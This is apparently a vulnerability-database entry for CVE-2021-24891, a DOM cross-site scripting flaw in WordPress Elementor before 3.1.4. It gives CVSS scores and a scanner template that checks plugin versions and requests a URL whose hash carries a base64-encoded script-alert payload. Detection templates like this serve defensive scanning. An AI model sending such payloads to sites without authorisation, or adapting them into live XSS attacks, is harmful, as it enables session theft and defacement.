4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
45.6%
WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash.
id: CVE-2021-24891
info:
name: WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: |
WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update WordPress Elementor Website Builder to version 3.1.4 or later to mitigate this vulnerability.
reference:
- https://www.jbelamor.com/xss-elementor-lightox.html
- https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d
- https://nvd.nist.gov/vuln/detail/CVE-2021-24891
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24891
cwe-id: CWE-79
epss-score: 0.00116
epss-percentile: 0.45236
cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 3
vendor: elementor
product: "website_builder"
framework: wordpress
tags: cve2021,cve,wordpress,wp-plugin,elementor,wpscan,dom,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/elementor/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Elementor Website Builder'
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
- "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9"
matchers-condition: and
matchers:
- type: dsl
dsl:
- compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200
- type: regex
part: body_1
regex:
- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
extractors:
- type: regex
name: version
group: 1
regex:
- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
internal: true
- type: kval
kval:
- version
# digest: 490a0046304402202623889f6a04d4102a3ee41ca9948d2142f9f84fa0da1e8ef8ffcd628e93656102202e85312c8ea957f1764523d65a51f68b8df842f32c4367f338da6dd2c1fe2a36:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
45.6%